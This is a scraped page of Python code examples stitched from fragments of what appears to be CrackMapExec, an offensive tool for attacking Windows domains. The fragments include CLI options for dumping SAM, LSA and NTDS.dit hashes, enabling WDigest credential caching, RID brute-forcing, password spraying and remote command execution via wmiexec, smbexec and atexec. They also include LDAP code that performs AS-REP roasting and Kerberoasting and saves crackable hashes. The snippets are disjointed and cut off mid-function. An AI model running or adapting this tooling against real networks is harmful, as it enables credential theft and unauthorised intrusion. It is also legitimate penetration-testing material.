    parser.add_argument("--server-host",
                        type=str,
                        default='0.0.0.0',
                        metavar='HOST',
                        help='IP to bind the server to (default: 0.0.0.0)')
    parser.add_argument("--server-port",
                        metavar='PORT',
                        type=int,
                        help='Start the server on the specified port')
    parser.add_argument(
        "--timeout",
        default=20,
        type=int,
        help='Max timeout in seconds of each thread (default: 20)')
    fail_group = parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit",
                            metavar='LIMIT',
                            type=int,
                            help='Max number of global failed login attempts')
    fail_group.add_argument(
        "--ufail-limit",
        metavar='LIMIT',
        type=int,
        help='Max number of failed login attempts per username')
    fail_group.add_argument(
        "--fail-limit",
        metavar='LIMIT',
        type=int,
        help='Max number of failed login attempts per host')
    parser.add_argument("--verbose",
                        action='store_true',
                        help="Enable verbose output")

    rgroup = parser.add_argument_group("Credential Gathering",
                                       "Options for gathering credentials")
    rgroup.add_argument("--sam",
                        action='store_true',
                        help='Dump SAM hashes from target systems')
    rgroup.add_argument("--lsa",
                        action='store_true',
                        help='Dump LSA secrets from target systems')
    rgroup.add_argument(
        "--ntds",
        choices={'vss', 'drsuapi'},
        help=
        "Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)"
    )
    rgroup.add_argument("--ntds-history",
                        action='store_true',
                        help='Dump NTDS.dit password history')
    rgroup.add_argument(
        "--ntds-pwdLastSet",
        action='store_true',
        help='Shows the pwdLastSet attribute for each NTDS.dit account')
    rgroup.add_argument(
        "--wdigest",
        choices={'enable', 'disable'},
        help=
        "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
    )

    egroup = parser.add_argument_group("Mapping/Enumeration",
                                       "Options for Mapping/Enumerating")
    egroup.add_argument("--shares",
                        action="store_true",
                        help="Enumerate shares and access")
    egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
    egroup.add_argument("--sessions",
                        action='store_true',
                        help='Enumerate active sessions')
    egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
    egroup.add_argument("--users", action='store_true', help='Enumerate users')
    egroup.add_argument(
        "--rid-brute",
        nargs='?',
        const=4000,
        metavar='MAX_RID',
        help='Enumerate users by bruteforcing RID\'s (default: 4000)')
    egroup.add_argument("--pass-pol",
                        action='store_true',
                        help='Dump password policy')
    egroup.add_argument("--lusers",
                        action='store_true',
                        help='Enumerate logged on users')
    egroup.add_argument("--wmi",
                        metavar='QUERY',
                        type=str,
                        help='Issues the specified WMI query')
    egroup.add_argument("--wmi-namespace",
                        metavar='NAMESPACE',
                        default='//./root/cimv2',
                        help='WMI Namespace (default: //./root/cimv2)')

    sgroup = parser.add_argument_group("Spidering",
                                       "Options for spidering shares")
    sgroup.add_argument("--spider",
                        metavar='FOLDER',
                        nargs='?',
                        const='.',
                        type=str,
                        help='Folder to spider (default: root directory)')
    sgroup.add_argument("--content",
                        action='store_true',
                        help='Enable file content searching')
    sgroup.add_argument("--exclude-dirs",
                        type=str,
                        metavar='DIR_LIST',
                        default='',
                        help='Directories to exclude from spidering')
    esgroup = sgroup.add_mutually_exclusive_group()
    esgroup.add_argument(
        "--pattern",
        nargs='+',
        help='Pattern(s) to search for in folders, filenames and file content')
    esgroup.add_argument(
        "--regex",
        nargs='+',
        help='Regex(s) to search for in folders, filenames and file content')
    sgroup.add_argument("--depth",
                        type=int,
                        default=10,
                        help='Spider recursion depth (default: 10)')

    cgroup = parser.add_argument_group("Command Execution",
                                       "Options for executing commands")
    cgroup.add_argument(
        '--exec-method',
        choices={"wmiexec", "smbexec", "atexec"},
        default=None,
        help=
        "Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)"
    )
    cgroup.add_argument(
        '--force-ps32',
        action='store_true',
        help='Force the PowerShell command to run in a 32-bit process')
    cgroup.add_argument('--no-output',
                        action='store_true',
                        help='Do not retrieve command output')
    xxxgroup = cgroup.add_mutually_exclusive_group()
    xxxgroup.add_argument("-x",
                          metavar="COMMAND",
                          dest='execute',
                          help="Execute the specified command")
    xxxgroup.add_argument("-X",
                          metavar="PS_COMMAND",
                          dest='ps_execute',
                          help='Execute the specified PowerShell command')

    mgroup = parser.add_argument_group(
        "MSSQL Interaction", "Options for interacting with MSSQL DBs")
    mgroup.add_argument(
        "--mssql",
        action='store_true',
        help=
        'Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs'
    )
    mgroup.add_argument("--mssql-query",
                        metavar='QUERY',
                        type=str,
                        help='Execute the specifed query against the MSSQL DB')
    mgroup.add_argument(
        "--mssql-auth",
        choices={'windows', 'normal'},
        default='windows',
        help='MSSQL authentication type to use (default: windows)')

    logger = CMEAdapter(setup_logger())
    first_run_setup(logger)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    module = None
    server = None
    context = None
    targets = []

    args = parser.parse_args()

    if args.verbose:
        setup_debug_logger()

    logging.debug(vars(args))

    db_path = os.path.join(cme_path, 'cme.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = CMEDatabase(db_connection)

    if args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    for target in args.target:
        if os.path.exists(target):
            with open(target, 'r') as target_file:
                for target_entry in target_file:
                    targets.extend(parse_targets(target_entry))
        else:
            targets.extend(parse_targets(target))

    if args.list_modules or args.show_options:
        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        if args.list_modules:
            for m in modules:
                logger.info('{:<20} {}'.format(m, modules[m]['description']))
            sys.exit(0)

        elif args.module and args.show_options:
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    logger.info('{} module options:\n{}'.format(
                        m, modules[m]['options']))
            sys.exit(0)

    if args.module:
        if os.geteuid() != 0:
            logger.error(
                "I'm sorry {}, I'm afraid I can't let you do that (cause I need root)"
                .format(getuser()))
            sys.exit(1)

        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        if args.module:
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    module, context, server = loader.init_module(
                        modules[m]['path'])

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = [
            pool.spawn(Connection, args, db, str(target), module, server)
            for target in targets
        ]

        #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
        if args.ntds or args.spider:
            joinall(jobs)
        elif not args.ntds:
            for job in jobs:
                job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if server:
        server.shutdown()

    logger.info('KTHXBYE!')
Exemplo n.º 35
0
 def log_message(self, format, *args):
     module = self.server.host_chain[self.client_address[0]][0]
     server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
     server_logger.info("- - %s" % (format%args))
Exemplo n.º 36
0
class ldap(connection):
    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.ldapConnection = None
        self.lmhash = ''
        self.nthash = ''
        self.baseDN = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.smb_share_name = smb_share_name

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        ldap_parser = parser.add_parser('ldap',
                                        help="own stuff using ldap",
                                        parents=[std_parser, module_parser])
        ldap_parser.add_argument(
            "-H",
            '--hash',
            metavar="HASH",
            dest='hash',
            nargs='+',
            default=[],
            help='NTLM hash(es) or file(s) containing NTLM hashes')
        ldap_parser.add_argument(
            "--no-bruteforce",
            action='store_true',
            help=
            'No spray when using file for username and password (user1 => password1, user2 => password2'
        )
        ldap_parser.add_argument(
            "--continue-on-success",
            action='store_true',
            help="continues authentication attempts even after successes")
        ldap_parser.add_argument("--port",
                                 type=int,
                                 choices={389, 636},
                                 default=389,
                                 help="LDAP port (default: 389)")
        dgroup = ldap_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d",
                            metavar="DOMAIN",
                            dest='domain',
                            type=str,
                            default=None,
                            help="domain to authenticate to")
        dgroup.add_argument("--local-auth",
                            action='store_true',
                            help='authenticate locally to each target')

        egroup = ldap_parser.add_argument_group(
            "Retrevie hash on the remote DC",
            "Options to get hashes from Kerberos")
        egroup.add_argument(
            "--asreproast",
            help="Get AS_REP response ready to crack with hashcat")
        egroup.add_argument("--kerberoasting",
                            help='Get TGS ticket ready to crack with hashcat')

        vgroup = ldap_parser.add_argument_group(
            "Retrieve useful information on the domain",
            "Options to to play with Kerberos")
        vgroup.add_argument(
            "--trusted-for-delegation",
            action="store_true",
            help=
            "Get the list of users and computers with flag TRUSTED_FOR_DELEGATION"
        )
        vgroup.add_argument("--admin-count",
                            action="store_true",
                            help="Get objets that had the value adminCount=1")

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(
            extra={
                'protocol': 'LDAP',
                'host': self.host,
                'port': self.args.port,
                'hostname': self.hostname
            })

    def get_os_arch(self):
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            if self.args.kerberos:
                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except (DCERPCException, e):
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug('Error retrieving os arch of {}: {}'.format(
                self.host, str(e)))

        return 0

    def enum_host_info(self):
        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.conn.login('', '')
        except:
            #if "STATUS_ACCESS_DENIED" in e:
            pass

        self.domain = self.conn.getServerDNSDomainName()
        self.hostname = self.conn.getServerName()
        self.server_os = self.conn.getServerOS()
        self.signing = self.conn.isSigningRequired(
        ) if self.smbv1 else self.conn._SMBConnection._Connection[
            'RequireSigning']
        self.os_arch = self.get_os_arch()

        self.output_filename = os.path.expanduser(
            '~/.cme/logs/{}_{}_{}'.format(
                self.hostname, self.host,
                datetime.now().strftime("%Y-%m-%d_%H%M%S")))

        if not self.domain:
            self.domain = self.hostname

        try:
            '''plaintext_login
                DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                (go home Windows, you're drunk)
            '''
            self.conn.logoff()
        except:
            pass

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname

        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        self.logger.info(
            u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
                self.server_os,
                ' x{}'.format(self.os_arch) if self.os_arch else '',
                self.hostname, self.domain, self.signing, self.smbv1))

    def kerberos_login(self, aesKey, kdcHost):
        # Create the baseDN
        domainParts = self.domain.split('.')
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

        if self.kdcHost is not None:
            target = self.kdcHost
        else:
            target = self.domain

        try:
            self.ldapConnection.kerberosLogin(self.username,
                                              self.password,
                                              self.domain,
                                              self.lmhash,
                                              self.nthash,
                                              self.aesKey,
                                              kdcHost=self.kdcHost)
        except ldap_impacket.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                self.ldapConnection = ldap_impacket.LDAPConnection(
                    'ldaps://%s' % target, self.baseDN, self.kdcHost)
                self.ldapConnection.kerberosLogin(self.username,
                                                  self.password,
                                                  self.domain,
                                                  self.lmhash,
                                                  self.nthash,
                                                  self.aesKey,
                                                  kdcHost=self.kdcHost)

        return True

    def plaintext_login(self, domain, username, password):
        self.username = username
        self.password = password
        self.domain = domain
        # Create the baseDN
        domainParts = self.domain.split('.')
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

        if self.kdcHost is not None:
            target = self.kdcHost
        else:
            target = domain

        # Connect to LDAP
        try:
            self.ldapConnection = ldap_impacket.LDAPConnection(
                'ldap://%s' % target, self.baseDN, self.kdcHost)
            self.ldapConnection.login(self.username, self.password,
                                      self.domain, self.lmhash, self.nthash)
        except ldap_impacket.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                self.ldapConnection = ldap_impacket.LDAPConnection(
                    'ldaps://%s' % target, self.baseDN, self.kdcHost)
                self.ldapConnection.login(self.username, self.password,
                                          self.domain, self.lmhash,
                                          self.nthash)
        try:
            self.ldapConnection.search(searchFilter='(objectCategory=nop)')
            out = u'{}{}:{}'.format('{}\\'.format(domain), username, password)
            self.logger.success(out)
        except ldap_impacket.LDAPSearchError as e:
            if self.password == '':
                hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
                if hash_TGT:
                    self.logger.highlight(u'{}'.format(hash_TGT))
                    with open(self.args.asreproast, 'a+') as hash_asreproast:
                        hash_asreproast.write(hash_TGT + '\n')
            else:
                self.logger.error(u'{}\{}:{}'.format(self.domain,
                                                     self.username,
                                                     self.password))

            return False

        return True

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        self.hash = ntlm_hash
        if lmhash: self.lmhash = lmhash
        if nthash: self.nthash = nthash

        self.username = username
        self.domain = domain
        # Create the baseDN
        domainParts = self.domain.split('.')
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

        if self.kdcHost is not None:
            target = self.kdcHost
        else:
            target = domain

        # Connect to LDAP
        try:
            self.ldapConnection = ldap_impacket.LDAPConnection(
                'ldap://%s' % target, self.baseDN, self.kdcHost)
            self.ldapConnection.login(self.username, self.password,
                                      self.domain, self.lmhash, self.nthash)
        except ldap_impacket.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                self.ldapConnection = ldap_impacket.LDAPConnection(
                    'ldaps://%s' % target, self.baseDN, self.kdcHost)
                self.ldapConnection.login(self.username, self.password,
                                          self.domain, self.lmhash,
                                          self.nthash)
        try:
            self.ldapConnection.search(searchFilter='(objectCategory=nop)')
            out = u'{}{}:{}'.format('{}\\'.format(domain), username, nthash)
            self.logger.success(out)
        except ldap_impacket.LDAPSearchError as e:
            self.logger.error(u'{}\{}:{}'.format(self.domain, self.username,
                                                 self.nthash))

            return False

        return True

    def create_smbv1_conn(self):
        try:
            self.conn = SMBConnection(self.host,
                                      self.host,
                                      None,
                                      445,
                                      preferredDialect=SMB_DIALECT)
            self.smbv1 = True
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug('SMBv1 might be disabled on {}'.format(
                    self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(
                self.host, e))
            return False

        return True

    def create_smbv3_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, 445)
            self.smbv1 = False
        except socket.error:
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(
                self.host, e))
            return False

        return True

    def create_conn_obj(self):
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

    def getUnixTime(self, t):
        t -= 116444736000000000
        t /= 10000000
        return t

    def asreproast(self):
        if self.password == '' and self.nthash != '' and self.kerberos != False:
            return False
        # Building the search filter
        searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
                    "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
                    (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)

        try:
            logging.debug('Search Filter=%s' % searchFilter)
            resp = self.ldapConnection.search(searchFilter=searchFilter,
                                              attributes=[
                                                  'sAMAccountName',
                                                  'pwdLastSet', 'MemberOf',
                                                  'userAccountControl',
                                                  'lastLogon'
                                              ],
                                              sizeLimit=999)
        except ldap_impacket.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                return False

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = "0x%x" % int(attribute['vals'][0])
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                if mustCommit is True:
                    answers.append([
                        sAMAccountName, memberOf, pwdLastSet, lastLogon,
                        userAccountControl
                    ])
            except Exception as e:
                logging.debug("Exception:", exc_info=True)
                logging.debug('Skipping item, cannot process due to error %s' %
                              str(e))
                pass
        if len(answers) > 0:
            for user in answers:
                hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
                self.logger.highlight(u'{}'.format(hash_TGT))
                with open(self.args.asreproast, 'a+') as hash_asreproast:
                    hash_asreproast.write(hash_TGT + '\n')
            return True
        else:
            self.logger.error("No entries found!")

    def kerberoasting(self):
        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"

        try:
            resp = self.ldapConnection.search(searchFilter=searchFilter,
                                              attributes=[
                                                  'servicePrincipalName',
                                                  'sAMAccountName',
                                                  'pwdLastSet', 'MemberOf',
                                                  'userAccountControl',
                                                  'lastLogon'
                                              ],
                                              sizeLimit=999)
        except ldap_impacket.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                return False

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            delegation = ''
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
                            delegation = 'unconstrained'
                        elif int(userAccountControl
                                 ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                            delegation = 'constrained'
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' %
                                      sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([
                                spn, sAMAccountName, memberOf, pwdLastSet,
                                lastLogon, delegation
                            ])
            except Exception as e:
                logging.error('Skipping item, cannot process due to error %s' %
                              str(e))
                pass

        if len(answers) > 0:
            users = dict((vals[1], vals[0]) for vals in answers)
            TGT = KerberosAttacks(self).getTGT_kerberoasting()
            for user, SPN in users.items():
                try:
                    serverName = Principal(
                        SPN,
                        type=constants.PrincipalNameType.NT_SRV_INST.value)
                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                        serverName, self.domain, self.kdcHost, TGT['KDC_REP'],
                        TGT['cipher'], TGT['sessionKey'])
                    r = KerberosAttacks(self).outputTGS(
                        tgs, oldSessionKey, sessionKey, user, SPN)
                    self.logger.highlight(u'{}'.format(r))
                    with open(self.args.kerberoasting,
                              'a+') as hash_kerberoasting:
                        hash_kerberoasting.write(r + '\n')
                except Exception as e:
                    logging.debug("Exception:", exc_info=True)
                    logging.error('SPN: %s - %s' % (SPN, str(e)))
        else:
            self.logger.error("No entries found!")

    def trusted_for_delegation(self):
        # Building the search filter
        searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
        try:
            logging.debug('Search Filter=%s' % searchFilter)
            resp = self.ldapConnection.search(searchFilter=searchFilter,
                                              attributes=[
                                                  'sAMAccountName',
                                                  'pwdLastSet', 'MemberOf',
                                                  'userAccountControl',
                                                  'lastLogon'
                                              ],
                                              sizeLimit=999)
        except ldap_impacket.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                return False
        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = "0x%x" % int(attribute['vals'][0])
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                if mustCommit is True:
                    answers.append([
                        sAMAccountName, memberOf, pwdLastSet, lastLogon,
                        userAccountControl
                    ])
            except Exception as e:
                logging.debug("Exception:", exc_info=True)
                logging.debug('Skipping item, cannot process due to error %s' %
                              str(e))
                pass
        if len(answers) > 0:
            logging.debug(answers)
            for value in answers:
                self.logger.highlight(value[0])
        else:
            self.logger.error("No entries found!")
        return

    def admin_count(self):
        # Building the search filter
        searchFilter = "(adminCount=1)"
        try:
            logging.debug('Search Filter=%s' % searchFilter)
            resp = self.ldapConnection.search(searchFilter=searchFilter,
                                              attributes=[
                                                  'sAMAccountName',
                                                  'pwdLastSet', 'MemberOf',
                                                  'userAccountControl',
                                                  'lastLogon'
                                              ],
                                              sizeLimit=999)
        except ldap_impacket.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                return False
        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = "0x%x" % int(attribute['vals'][0])
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                if mustCommit is True:
                    answers.append([
                        sAMAccountName, memberOf, pwdLastSet, lastLogon,
                        userAccountControl
                    ])
            except Exception as e:
                logging.debug("Exception:", exc_info=True)
                logging.debug('Skipping item, cannot process due to error %s' %
                              str(e))
                pass
        if len(answers) > 0:
            logging.debug(answers)
            for value in answers:
                self.logger.highlight(value[0])
        else:
            self.logger.error("No entries found!")
        return
Exemplo n.º 37
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

